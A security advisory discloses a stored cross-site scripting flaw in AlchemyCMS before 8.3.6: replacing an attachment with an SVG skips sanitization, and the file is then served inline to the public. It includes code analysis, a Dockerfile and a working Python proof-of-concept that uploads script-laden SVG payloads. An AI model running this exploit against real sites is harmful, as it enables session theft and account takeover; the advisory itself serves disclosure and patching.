Skip to content

Stored XSS via unsanitized SVG attachment replacement

High
tvdeyen published GHSA-r827-6rm4-59pg Jul 28, 2026

Package

bundler alchemy_cms (RubyGems)

Affected versions

< 8.3.6

Patched versions

8.3.6

Description

Stored XSS via unsanitized SVG attachment replacement

Summary

AlchemyCMS registers its SVG sanitizer (SanitizeSvgJob, a Loofah-based scrubber) only as an after_create_commit callback on Alchemy::Attachment / Alchemy::Picture. This callback fires when a new attachment record is created, but not when an existing attachment's file is replaced through the admin "update" action. An authenticated user holding the editor role (i.e. manage Alchemy::Attachment permission, a low-privilege, non-admin role) can PATCH an existing attachment to replace its file with a malicious SVG containing <script> / onload= payloads. Because the sanitizer never runs on this path, and because AlchemyCMS explicitly configures SVG as an inline-servable content type on Active Storage, the public, unauthenticated /attachment/:id/show route streams the attacker's raw SVG payload with Content-Disposition: inline. Any visitor (including other admins) who opens the attachment URL executes attacker-controlled JavaScript in the AlchemyCMS application origin. This is a stored, privilege-crossing Cross-Site Scripting vulnerability, confirmed both by static code review and by live dynamic reproduction against an unmodified AlchemyCMS instance. CVSS 3.1 Base Score: 8.7 (High).

Details

Root cause. The SVG sanitization callback is declared only for the create lifecycle:

# app/models/alchemy/storage_adapter/active_storage.rb:11-22
base.after_create_commit if: :svg? do
  SanitizeSvgJob.perform_later(self, file_accessor: :image_file)
end
...
base.after_create_commit if: :svg? do
  SanitizeSvgJob.perform_later(self, file_accessor: :file)
end

SanitizeSvgJob (app/jobs/alchemy/storage_adapter/active_storage/sanitize_svg_job.rb) is the only place in the codebase that runs the Loofah-based SvgScrubber against uploaded SVG content. There is no equivalent callback for updates, and no other code path re-sanitizes a blob when it is swapped onto an existing record.

Vulnerable path. The admin attachments controller's update action replaces the underlying file without ever re-triggering the create callback:

# app/controllers/alchemy/admin/attachments_controller.rb:67-70
@attachment.update(attachment_attributes)
if attachment_attributes["file"].present?
  handle_uploader_response(status: 202)
end

The permitted parameters explicitly allow the file field to be replaced (app/controllers/alchemy/admin/attachments_controller.rb:134-135, params.require(:attachment).permit(:file, ...)), and app/models/alchemy/attachment.rb:107-119 skips the file_type_allowed validation entirely whenever allowed_filetypes includes "*" — which is exactly AlchemyCMS's own default for alchemy/attachments (config/alchemy/config.yml:171-179; alchemy/pictures similarly allows svg by default).

Sink. AlchemyCMS's engine configuration explicitly opts SVG into inline serving and out of Rails/Active Storage's default "force download" protection for potentially-executable binary content:

# lib/alchemy/engine.rb:166-183
# adds svg to content_types_allowed_inline
# removes svg from content_types_to_serve_as_binary

The public, unauthenticated attachment controller then streams the blob inline:

# app/controllers/alchemy/attachments_controller.rb:57-59
http_cache_forever public: true do
  response.headers["Accept-Ranges"] = "bytes"
  send_blob_stream @blob, disposition: disposition

config/routes.rb:70 exposes the RESTful update action, and config/routes.rb:111-114 exposes the public show route.

Privilege analysis. app/models/alchemy/permissions.rb:161 grants the editor role manage Alchemy::Attachment (which includes replacing an attachment's file), and app/models/alchemy/permissions.rb:38 allows unauthenticated guests to view unrestricted attachments via show. This means a lower-privileged authenticated actor can plant a payload that executes in the browser of any other visitor, including higher-privileged admins — a Scope:Changed condition, matching the assigned CVSS vector.

Data flow (source → sink):

  1. config/routes.rb:70resources :attachments exposes RESTful update.
  2. app/controllers/alchemy/admin/resources_controller.rb:15-18 — resource loaded and authorized for the editor role.
  3. app/controllers/alchemy/admin/attachments_controller.rb:67-70@attachment.update(attachment_attributes) accepts the replacement file.
  4. app/controllers/alchemy/admin/attachments_controller.rb:134-135permit(:file, ...) allows the uploaded SVG through.
  5. app/models/alchemy/attachment.rb:107-119 — file type validation is bypassed because default allowed_filetypes is "*".
  6. app/models/alchemy/storage_adapter/active_storage.rb:11-22 — the SVG sanitizer callback is after_create_commit only, never invoked on update.
  7. lib/alchemy/engine.rb:166-183 — SVG is configured for inline serving, not forced download.
  8. config/routes.rb:111-114 and app/controllers/alchemy/attachments_controller.rb:57-59 — the public show route streams the unsanitized blob inline via send_blob_stream.

This was independently confirmed via runtime/dynamic reproduction (Phase 2): replacing an existing benign attachment with a malicious SVG returns HTTP 202, produces zero SanitizeSvgJob log lines (unlike the create path, which reliably enqueues and performs the job), and a subsequent unauthenticated GET /attachment/:id/show returns the raw <script>/onload= payload byte-for-byte with Content-Type: image/svg+xml and Content-Disposition: inline.

PoC

Environment: the project's own spec/dummy Rails app, development mode, default Active Storage adapter, unmodified AlchemyCMS engine code, real alchemy-devise authentication. See Dockerfile (build context is the repository root, containing both repo/ — the AlchemyCMS clone — and vuln-001/ — this reproduction workspace) and poc.py.

Build and run the target:

cd reports/github_web_480_AlchemyCMS__alchemy_cms
docker build -f vuln-001/Dockerfile -t alchemy-vuln001:latest .
docker run -d --name alchemy-vuln001 -p 127.0.0.1:3000:3000 alchemy-vuln001:latest

Run the PoC against it:

cd vuln-001
python3 poc.py --base-url http://127.0.0.1:3000 --container alchemy-vuln001

poc.py performs, over real HTTP against 127.0.0.1 only:

  1. Logs in as a seeded low-privileged editor account (real Devise session, no cookie/session forgery).
  2. Control group — creates a brand-new attachment directly from a malicious SVG (<svg onload="window.<marker>=1"><script>window.<marker>_script=1;</script></svg>) via POST /admin/attachments. The development log shows Enqueued/Performed Alchemy::StorageAdapter::ActiveStorage::SanitizeSvgJob, and the public GET /attachment/:id/show response has the <script>/onload= payload stripped — proving the sanitizer works as intended on the create path.
  3. Exploit — PATCH-replaces a pre-existing, benign attachment (victim-doc) with the same malicious SVG via PATCH /admin/attachments/:id. The request returns HTTP 202. The development log for that request window contains zero occurrences of SanitizeSvgJob. A subsequent unauthenticated GET /attachment/:id/show/update.svg (no cookies at all) returns HTTP 200, Content-Type: image/svg+xml, Content-Disposition: inline; filename="update.svg", and a body containing the untouched <script>window.<marker>_script=1;</script> and onload="window.<marker>=1" payload, including the attacker-chosen canary marker.

Observed (excerpted) result:

[control-create] Enqueued / Performed Alchemy::StorageAdapter::ActiveStorage::SanitizeSvgJob
[control-show]   body = <svg xmlns="http://www.w3.org/2000/svg">\n\n</svg>\n   (script/onload stripped)

[exploit-update] PATCH /admin/attachments/1 -> HTTP 202
                 development.log for this window: 0 occurrences of "SanitizeSvgJob"
[exploit-show]   GET /attachment/1/show/update.svg (anonymous) -> HTTP 200
                 Content-Type: image/svg+xml
                 Content-Disposition: inline; filename="update.svg"
                 body = <svg xmlns="http://www.w3.org/2000/svg" onload="window.vuln001-canary-ef9be3a8=1">
                        <script>window.vuln001-canary-ef9be3a8_script=1;</script>
                        </svg>

=== VULN-001 PoC RESULT: EXPLOIT CONFIRMED ===

Impact

This is a stored (persistent) Cross-Site Scripting vulnerability (CWE-79). An authenticated attacker holding only the editor role — a default, non-administrative role scoped to manage Alchemy::Attachment — can plant arbitrary JavaScript that executes in the browser of any user (including other editors, admins, or anonymous visitors) who opens the affected attachment's public URL. Since the payload runs in the application origin, it can be used to steal session cookies/CSRF tokens, perform actions as the victim (including a victim admin), or pivot to full site takeover. The vulnerability requires no non-default configuration: it affects the default Active Storage adapter and the default allowed_filetypes configuration for both attachments and pictures.

Reproduction artifacts

Dockerfile

# VULN-001 dynamic reproduction environment for AlchemyCMS.
#
# Boots the project's own dummy Rails app (spec/dummy) in development mode,
# with the real Active Storage adapter, the real admin authentication
# (alchemy-devise), and the real AlchemyCMS engine code unmodified.
#
# Build context MUST be the parent directory that contains both `repo/` (the
# AlchemyCMS clone) and `vuln-001/` (this reproduction workspace), e.g.:
#
#   docker build -f vuln-001/Dockerfile -t alchemy-vuln001:latest .
#
# (run from reports/github_web_480_AlchemyCMS__alchemy_cms)

FROM ruby:4.0.5-slim

ARG NODE_VERSION=24

RUN apt-get update && apt-get install -y --no-install-recommends \
    build-essential \
    curl \
    git \
    libsqlite3-dev \
    libvips \
    ca-certificates \
    && curl -fsSL https://deb.nodesource.com/setup_${NODE_VERSION}.x | bash - \
    && apt-get install -y --no-install-recommends nodejs \
    && corepack enable \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /workspace

# Bring in the unmodified AlchemyCMS source tree.
COPY repo/ /workspace/

# Bring in the reproduction-only helper scripts (fixture seeding + startup).
# These never touch application source code under /workspace/app or
# /workspace/lib - they only create DB rows via the public Rails/ActiveRecord
# API, exactly like a real admin user or a db/seeds.rb file would.
COPY vuln-001/docker/ /workspace/docker/

RUN gem install bundler --no-document \
    && bundle install --jobs 4 --retry 3

RUN corepack install \
    && pnpm install --frozen-lockfile=false \
    && pnpm run build

RUN chmod +x /workspace/docker/entrypoint.sh

ENV RAILS_ENV=development
ENV ALCHEMY_STORAGE_ADAPTER=active_storage
ENV RAILS_LOG_TO_STDOUT=true
ENV RAILS_SERVE_STATIC_FILES=true

EXPOSE 3000

ENTRYPOINT ["/workspace/docker/entrypoint.sh"]

poc.py

#!/usr/bin/env python3
"""
Dynamic PoC for VULN-001 - Stored XSS via unsanitized SVG attachment replacement
(AlchemyCMS, CWE-79).

Root cause under test:
  app/models/alchemy/storage_adapter/active_storage.rb registers the SVG
  sanitizer (SanitizeSvgJob) only as `after_create_commit`. The admin
  attachments `update` action (app/controllers/alchemy/admin/attachments_controller.rb)
  replaces the attached file via `@attachment.update(attachment_attributes)`,
  which never re-triggers a create callback. A malicious SVG uploaded via
  *replacement* therefore reaches the public `/attachment/:id/show` route
  (app/controllers/alchemy/attachments_controller.rb) completely unsanitized.

This script proves the gap dynamically, against a live container running the
unmodified AlchemyCMS dummy app (spec/dummy), over real HTTP on 127.0.0.1:

  1. Logs in as a low-privileged "editor" role account (real Devise session).
  2. Control group: creates a brand-new attachment directly from a malicious
     SVG via the real `create` endpoint, and shows the sanitizer DOES fire
     (job log line + stripped payload on the public show route).
  3. Exploit: PATCH-replaces a pre-existing, benign attachment with the same
     malicious SVG via the real `update` endpoint, and shows the sanitizer
     job is never enqueued, and the public, *unauthenticated* show route
     streams the raw <script>/onload payload back byte-for-byte.

Only 127.0.0.1 is contacted. No external services are touched.
"""

import argparse
import json
import re
import subprocess
import sys
import time
import uuid

import requests

XSS_MARKER = "vuln001-canary-" + uuid.uuid4().hex[:8]

MALICIOUS_SVG_TEMPLATE = """<svg xmlns="http://www.w3.org/2000/svg" onload="window.{marker}=1">
<script>window.{marker}_script=1;</script>
</svg>
"""

CSRF_META_RE = re.compile(r'<meta name="csrf-token" content="([^"]+)"')
AUTH_TOKEN_RE = re.compile(r'name="authenticity_token"\s+value="([^"]+)"')


def log(msg):
    print(f"[poc] {msg}", flush=True)


def docker_exec(container, bash_command, timeout=120):
    result = subprocess.run(
        ["docker", "exec", container, "bash", "-lc", bash_command],
        capture_output=True,
        text=True,
        timeout=timeout,
    )
    return result.returncode, result.stdout, result.stderr


RUNNER_START = "===RUNNER_OUTPUT_START==="
RUNNER_END = "===RUNNER_OUTPUT_END==="
RUNNER_RE = re.compile(re.escape(RUNNER_START) + r"(.*?)" + re.escape(RUNNER_END), re.DOTALL)


def rails_runner(container, ruby_expr, timeout=90):
    # The dev-mode file watcher (Listen) prints startup noise on stdout on every
    # boot, so wrap the real value in unmistakable markers before extracting it.
    wrapped = f'print("{RUNNER_START}"); print(({ruby_expr}).to_s); print("{RUNNER_END}")'
    code, out, err = docker_exec(
        container,
        f"cd spec/dummy && bin/rails runner {json.dumps(wrapped)}",
        timeout=timeout,
    )
    if code != 0:
        raise RuntimeError(f"rails runner failed (exit {code}): {err}")
    m = RUNNER_RE.search(out)
    if not m:
        raise RuntimeError(f"could not find runner output markers in: {out!r}")
    return m.group(1).strip()


def development_log(container):
    code, out, err = docker_exec(container, "cat spec/dummy/log/development.log 2>/dev/null || true")
    return out


def wait_for_server(base_url, timeout=300):
    deadline = time.time() + timeout
    last_err = None
    while time.time() < deadline:
        try:
            r = requests.get(f"{base_url}/admin/login", timeout=5)
            if r.status_code in (200, 302):
                log(f"server is up (GET /admin/login -> {r.status_code})")
                return
        except requests.exceptions.RequestException as exc:
            last_err = exc
        time.sleep(2)
    raise RuntimeError(f"server never became ready at {base_url}: {last_err}")


def login(session, base_url, login_name, password):
    r = session.get(f"{base_url}/admin/login")
    m = AUTH_TOKEN_RE.search(r.text)
    if not m:
        raise RuntimeError("could not find authenticity_token on /admin/login form")
    token = m.group(1)

    r = session.post(
        f"{base_url}/admin/login",
        data={
            "authenticity_token": token,
            "user[login]": login_name,
            "user[password]": password,
            "user[remember_me]": "0",
        },
    )
    check = session.get(f"{base_url}/admin/attachments")
    if check.status_code != 200 or "/admin/login" in check.url:
        raise RuntimeError(
            f"login as '{login_name}' failed (post status={r.status_code}, "
            f"check status={check.status_code}, final url={check.url})"
        )
    log(f"authenticated as editor account '{login_name}' (session cookie established)")
    return check.text


def fetch_csrf_token(session, base_url):
    r = session.get(f"{base_url}/admin/attachments")
    m = CSRF_META_RE.search(r.text)
    if not m:
        raise RuntimeError("could not find csrf-token meta tag on /admin/attachments")
    return m.group(1)


def poll_for_log_line(container, needle, since_len, timeout=30):
    deadline = time.time() + timeout
    while time.time() < deadline:
        full = development_log(container)
        chunk = full[since_len:]
        if needle in chunk:
            return chunk
        time.sleep(1)
    return development_log(container)[since_len:]


def assert_true(condition, message):
    if not condition:
        raise AssertionError(message)
    log(f"OK: {message}")


def main():
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("--base-url", default="http://127.0.0.1:3000")
    parser.add_argument("--container", default="alchemy-vuln001")
    parser.add_argument("--login", default="editor")
    parser.add_argument("--password", default="EditorPass123!")
    parser.add_argument("--startup-timeout", type=int, default=300)
    args = parser.parse_args()

    evidence = {}
    malicious_svg = MALICIOUS_SVG_TEMPLATE.format(marker=XSS_MARKER)

    wait_for_server(args.base_url, timeout=args.startup_timeout)

    editor_session = requests.Session()
    login(editor_session, args.base_url, args.login, args.password)

    # ------------------------------------------------------------------
    # Control group: SVG uploaded via the CREATE action IS sanitized.
    # ------------------------------------------------------------------
    log("=== control group: create a new attachment directly from a malicious SVG ===")
    control_name = f"control-svg-{uuid.uuid4().hex[:8]}"
    csrf = fetch_csrf_token(editor_session, args.base_url)
    log_len_before_create = len(development_log(args.container))

    r = editor_session.post(
        f"{args.base_url}/admin/attachments",
        data={"attachment[name]": control_name},
        files={"attachment[file]": ("control.svg", malicious_svg, "image/svg+xml")},
        headers={"X-CSRF-Token": csrf},
    )
    assert_true(r.status_code == 201, f"control create returns 201 (got {r.status_code}, body={r.text[:300]})")
    evidence["control_create_status"] = r.status_code
    evidence["control_create_body"] = r.text[:300]

    control_id = rails_runner(
        args.container,
        f"Alchemy::Attachment.find_by(name: {json.dumps(control_name)})&.id",
    )
    assert_true(control_id.isdigit(), f"control attachment row exists in DB (id={control_id!r})")
    control_id = int(control_id)

    perform_chunk = poll_for_log_line(
        args.container,
        "Performed Alchemy::StorageAdapter::ActiveStorage::SanitizeSvgJob",
        log_len_before_create,
        timeout=30,
    )
    assert_true(
        "Enqueued Alchemy::StorageAdapter::ActiveStorage::SanitizeSvgJob" in perform_chunk,
        "create path ENQUEUES SanitizeSvgJob (after_create_commit callback fires)",
    )
    assert_true(
        "Performed Alchemy::StorageAdapter::ActiveStorage::SanitizeSvgJob" in perform_chunk,
        "create path's SanitizeSvgJob actually completes",
    )
    evidence["control_job_log_excerpt"] = perform_chunk.strip()[-1500:]

    control_show = requests.get(f"{args.base_url}/attachment/{control_id}/show/control.svg", timeout=15)
    assert_true(control_show.status_code == 200, f"control public show returns 200 (got {control_show.status_code})")
    assert_true(
        "<script" not in control_show.text and "onload=" not in control_show.text,
        "control (create-path) SVG IS sanitized before being served publicly",
    )
    evidence["control_show_status"] = control_show.status_code
    evidence["control_show_content_type"] = control_show.headers.get("Content-Type")
    evidence["control_show_body_sample"] = control_show.text[:400]

    # ------------------------------------------------------------------
    # Exploit: SVG uploaded via the UPDATE (replace) action is NOT
    # sanitized, and is streamed inline to an unauthenticated viewer.
    # ------------------------------------------------------------------
    log("=== exploit: replace a pre-existing benign attachment with the malicious SVG ===")
    victim_id = rails_runner(args.container, "Alchemy::Attachment.find_by(name: 'victim-doc')&.id")
    assert_true(victim_id.isdigit(), f"pre-existing victim attachment fixture exists (id={victim_id!r})")
    victim_id = int(victim_id)

    baseline_show = requests.get(f"{args.base_url}/attachment/{victim_id}/show/victim-doc.txt", timeout=15)
    assert_true(
        "<script" not in baseline_show.text and XSS_MARKER not in baseline_show.text,
        "victim attachment is benign BEFORE the attack (sanity check)",
    )

    csrf = fetch_csrf_token(editor_session, args.base_url)
    log_len_before_update = len(development_log(args.container))

    r = editor_session.patch(
        f"{args.base_url}/admin/attachments/{victim_id}",
        files={"attachment[file]": ("update.svg", malicious_svg, "image/svg+xml")},
        headers={"X-CSRF-Token": csrf},
    )
    assert_true(r.status_code == 202, f"malicious update returns 202 (got {r.status_code}, body={r.text[:300]})")
    evidence["exploit_update_status"] = r.status_code
    evidence["exploit_update_body"] = r.text[:300]

    # Give any (hypothetically) enqueued job a fair chance to run before we
    # declare it absent - the async adapter runs on a background thread pool.
    time.sleep(5)
    update_chunk = development_log(args.container)[log_len_before_update:]
    evidence["exploit_request_log_excerpt"] = update_chunk.strip()[-2000:]

    assert_true(
        f'PATCH "/admin/attachments/{victim_id}"' in update_chunk,
        "the PATCH request actually reached AttachmentsController#update (log correlation)",
    )
    assert_true(
        "SanitizeSvgJob" not in update_chunk,
        "update path NEVER enqueues/performs SanitizeSvgJob (missing after_create_commit-only callback)",
    )

    anon = requests.Session()  # no cookies at all - the "victim" browser
    victim_show = anon.get(f"{args.base_url}/attachment/{victim_id}/show/update.svg", timeout=15)
    assert_true(
        victim_show.status_code == 200,
        f"unauthenticated GET /attachment/{victim_id}/show succeeds (got {victim_show.status_code})",
    )
    assert_true(
        "image/svg+xml" in victim_show.headers.get("Content-Type", ""),
        f"served Content-Type is image/svg+xml (got {victim_show.headers.get('Content-Type')})",
    )
    assert_true(
        "inline" in victim_show.headers.get("Content-Disposition", ""),
        f"served Content-Disposition is inline (got {victim_show.headers.get('Content-Disposition')})",
    )
    assert_true("<script" in victim_show.text, "raw <script> tag survives unsanitized in the served body")
    assert_true(f"onload=\"window.{XSS_MARKER}=1\"" in victim_show.text, "raw onload= handler survives unsanitized")
    assert_true(XSS_MARKER in victim_show.text, "attacker-chosen canary marker is present verbatim in the response")

    evidence["exploit_show_status"] = victim_show.status_code
    evidence["exploit_show_content_type"] = victim_show.headers.get("Content-Type")
    evidence["exploit_show_content_disposition"] = victim_show.headers.get("Content-Disposition")
    evidence["exploit_show_body"] = victim_show.text

    print("\n=== VULN-001 PoC RESULT: EXPLOIT CONFIRMED ===")
    print(json.dumps(evidence, indent=2))
    return 0


if __name__ == "__main__":
    try:
        sys.exit(main())
    except AssertionError as exc:
        print(f"\n=== VULN-001 PoC RESULT: FAILED ASSERTION ===\n{exc}", file=sys.stderr)
        sys.exit(1)
    except Exception as exc:  # noqa: BLE001 - top-level PoC error reporting
        print(f"\n=== VULN-001 PoC RESULT: ERROR ===\n{exc!r}", file=sys.stderr)
        sys.exit(2)

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

CVE ID

No known CVE

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Credits